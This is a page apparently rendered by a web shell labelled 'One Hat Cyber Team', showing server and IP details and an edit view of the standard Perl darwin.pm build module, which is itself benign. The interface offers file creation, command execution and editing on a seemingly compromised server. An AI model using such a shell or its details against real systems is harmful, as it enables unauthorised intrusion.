⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
perl
/
5.38
/
ExtUtils
/
CBuilder
/
Platform
/
Edit File: darwin.pm
package ExtUtils::CBuilder::Platform::darwin; use warnings; use strict; use ExtUtils::CBuilder::Platform::Unix; use Config; our $VERSION = '0.280238'; # VERSION our @ISA = qw(ExtUtils::CBuilder::Platform::Unix); my ($osver) = split /\./, $Config{osvers}; my $apple_cor = $^X eq "/usr/bin/perl" && $osver >= 18; sub compile { my $self = shift; my $cf = $self->{config}; # -flat_namespace isn't a compile flag, it's a linker flag. But # it's mistakenly in Config.pm as both. Make the correction here. local $cf->{ccflags} = $cf->{ccflags}; $cf->{ccflags} =~ s/-flat_namespace//; # XCode 12 makes this fatal, breaking tons of XS modules $cf->{ccflags} .= ($cf->{ccflags} ? ' ' : '').'-Wno-error=implicit-function-declaration'; $self->SUPER::compile(@_); } sub arg_include_dirs { my $self = shift; if ($apple_cor) { my $perl_inc = $self->perl_inc; return map { $_ eq $perl_inc ? ("-iwithsysroot", $_ ) : "-I$_" } @_; } else { return $self->SUPER::arg_include_dirs(@_); } } 1;
Simpan